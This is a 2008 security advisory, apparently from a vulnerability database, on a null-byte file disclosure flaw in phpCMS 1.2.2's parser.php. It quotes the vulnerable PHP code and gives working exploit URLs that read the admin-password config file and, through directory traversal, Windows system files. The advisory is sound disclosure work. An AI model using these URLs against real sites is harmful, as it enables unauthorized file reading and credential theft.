phpCMS 1.2.2 (parser.php file) Remote File Disclosure Vulnerability

🗓️ 30 Jan 2008 00:00:00Reported by RootType
phpCMS 1.2.2 Remote File Diclosure Vulnerability allows attacker to read any file in web directory by appending a valid file extension with null byte to the file

                                                Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;[DSecRG]&nbsp;Advisory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#DSECRG-08-005


Application:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;phpCMS
Versions&nbsp;Affected:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.2.2
Vendor&nbsp;URL:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.phpcms.de
Bug:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Remote&nbsp;File&nbsp;Disclosure,&nbsp;Get&nbsp;admin&nbsp;password
Exploits:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;YES
Reported:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;10.01.2008
Vendor&nbsp;response:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;12.01.2008
Date&nbsp;of&nbsp;Public&nbsp;Advisory:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;29.01.2008
Authors:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alexandr&nbsp;Polyakov,&nbsp;Stas&nbsp;Svistunovich
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;[DSecRG]&nbsp;(research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru)



Description
***********

phpCMS&nbsp;system&nbsp;has&nbsp;remote&nbsp;File&nbsp;Disclosure&nbsp;vulnerability&nbsp;in&nbsp;page&nbsp;/parser/include/class.cache_phpcms.php


Details
*******

Attacer&nbsp;can&nbsp;read&nbsp;any&nbsp;files&nbsp;in&nbsp;web&nbsp;directory.

In&nbsp;file&nbsp;parser/parser.php&nbsp;include&nbsp;class.cache_phpcms.php

---------------------------------------

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Load&nbsp;the&nbsp;i18n&nbsp;Handler
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(isset&nbsp;($_GET&nbsp;['file'])&nbsp;&amp;&amp;&nbsp;isset($DEFAULTS-&gt;I18N)&nbsp;&amp;&amp;&nbsp;'on'&nbsp;==&nbsp;$DEFAULTS-&gt;I18N)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include(PHPCMS_INCLUDEPATH.'/class.lib_i18n_phpcms.php');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$I18N&nbsp;=&nbsp;&amp;new&nbsp;i18n;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$PHPCMS-&gt;check_secure_stealth();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include(PHPCMS_INCLUDEPATH.'/class.cache_phpcms.php');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;

---------------------------------------


In&nbsp;file&nbsp;class.cache_phpcms.php&nbsp;function&nbsp;GetFile()&nbsp;parse&nbsp;URL&nbsp;and&nbsp;return&nbsp;full&nbsp;file&nbsp;name&nbsp;or&nbsp;default&nbsp;value.
Function&nbsp;checks&nbsp;file&nbsp;extension&nbsp;but&nbsp;does't&nbsp;check&nbsp;for&nbsp;null&nbsp;byte&nbsp;injection.

To&nbsp;read&nbsp;file&nbsp;&nbsp;attacker&nbsp;must&nbsp;append&nbsp;a&nbsp;valid&nbsp;extension&nbsp;with&nbsp;null&nbsp;byte&nbsp;to&nbsp;file&nbsp;like&nbsp;a&nbsp;&nbsp;&quot;%00.gif&quot;&nbsp;or&nbsp;smth.

---------------------------------------

//&nbsp;filequery&nbsp;exists,&nbsp;but&nbsp;filename&nbsp;is&nbsp;empty?&nbsp;-&gt;&nbsp;set&nbsp;the&nbsp;defaultvalue&nbsp;for&nbsp;filename
if(!stristr($temp,&nbsp;$DEFAULTS-&gt;PAGE_EXTENSION)&nbsp;AND
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!stristr($temp,&nbsp;'.gif')&nbsp;AND
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!stristr($temp,&nbsp;'.png')&nbsp;AND
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!stristr($temp,&nbsp;'.jpg')&nbsp;AND
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!stristr($temp,&nbsp;'.js')&nbsp;AND
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!stristr($temp,&nbsp;'.css')&nbsp;AND
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!stristr($temp,&nbsp;'.htm')&nbsp;AND
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!stristr($temp,&nbsp;'.html'))

{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(substr($temp,&nbsp;-1)&nbsp;!=&nbsp;'/')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$temp&nbsp;=&nbsp;trim($temp).'/'.$DEFAULTS-&gt;PAGE_DEFAULTNAME;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$temp.=&nbsp;$DEFAULTS-&gt;PAGE_EXTENSION;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$temp&nbsp;=&nbsp;trim($temp).$DEFAULTS-&gt;PAGE_DEFAULTNAME;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$temp.=&nbsp;$DEFAULTS-&gt;PAGE_EXTENSION;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
}

---------------------------------------


In&nbsp;file&nbsp;class.cache_phpcms.php&nbsp;function&nbsp;CheckFile()&nbsp;take&nbsp;file&nbsp;name&nbsp;and&nbsp;if&nbsp;file&nbsp;exist&nbsp;read&nbsp;it&nbsp;and&nbsp;print&nbsp;file&nbsp;contents.

---------------------------------------
$PfadUndDatei&nbsp;=&nbsp;$this-&gt;GetFile();

$this-&gt;name&nbsp;=&nbsp;basename($PfadUndDatei);
$this-&gt;path&nbsp;=&nbsp;dirname($PfadUndDatei);
...

//&nbsp;there's&nbsp;no&nbsp;contentfile&nbsp;with&nbsp;this&nbsp;name&nbsp;-&gt;&nbsp;errorpage&nbsp;or&nbsp;errormessage
if(!file_exists($DEFAULTS-&gt;DOCUMENT_ROOT.$this-&gt;path.'/'.$this-&gt;name))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$errorname&nbsp;=&nbsp;basename($DEFAULTS-&gt;ERROR_PAGE_404);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$errorpath&nbsp;=&nbsp;dirname($DEFAULTS-&gt;ERROR_PAGE_404);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...
...

$fsize&nbsp;=&nbsp;filesize($DEFAULTS-&gt;DOCUMENT_ROOT.$this-&gt;path.'/'.$this-&gt;name);
$fd&nbsp;=&nbsp;fopen($DEFAULTS-&gt;DOCUMENT_ROOT.$this-&gt;path.'/'.$this-&gt;name,&nbsp;&quot;rb&quot;);
$contents&nbsp;=&nbsp;fread($fd,&nbsp;$fsize);
$contents&nbsp;=&nbsp;trim($contents);
$fsize&nbsp;=&nbsp;strlen($contents);
fclose($fd);
...

echo&nbsp;$contents;

---------------------------------------


Example:



http://[server]/[installdir]/parser/parser.php?file=/parser/include/default.php%00.gif

default.php&nbsp;includes&nbsp;admin&nbsp;password&nbsp;and&nbsp;other&nbsp;defaults:

---------------------------------------

class&nbsp;defaults&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;defaults()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$PHP,&nbsp;$PHPCMS;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!defined(&quot;_DEFAULTS_&quot;))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;define(&quot;_DEFAULTS_&quot;,&nbsp;TRUE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;PASS&nbsp;=&nbsp;'YourPasswordHere';
...

---------------------------------------


In&nbsp;windows&nbsp;we&nbsp;can&nbsp;read&nbsp;any&nbsp;local&nbsp;file:

http://[server]/[installdir]/parser/parser.php?file=\..\..\..\..\..\..\..\..\..\..\boot.ini%00.gif




http://www.phpcms.de/download/index.en.html






About
*****




Digital&nbsp;Security&nbsp;is&nbsp;leading&nbsp;IT&nbsp;security&nbsp;company&nbsp;in&nbsp;Russia,&nbsp;providing&nbsp;information&nbsp;security&nbsp;consulting,&nbsp;audit&nbsp;
and&nbsp;penetration&nbsp;testing&nbsp;services,&nbsp;risk&nbsp;analysis&nbsp;and&nbsp;ISMS-related&nbsp;services&nbsp;and&nbsp;certification&nbsp;for&nbsp;ISO/IEC&nbsp;27001:2005&nbsp;
and&nbsp;PCI&nbsp;DSS&nbsp;standards.&nbsp;Digital&nbsp;Security&nbsp;Research&nbsp;Group&nbsp;focuses&nbsp;on&nbsp;web&nbsp;application&nbsp;and&nbsp;database&nbsp;security&nbsp;problems&nbsp;with&nbsp;
vulnerability&nbsp;reports,&nbsp;advisories&nbsp;and&nbsp;whitepapers&nbsp;posted&nbsp;regularly&nbsp;on&nbsp;our&nbsp;website.


Contact:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;research&nbsp;[at]&nbsp;dsec&nbsp;[dot]&nbsp;ru
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.dsec.ru&nbsp;(in&nbsp;Russian)
30 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1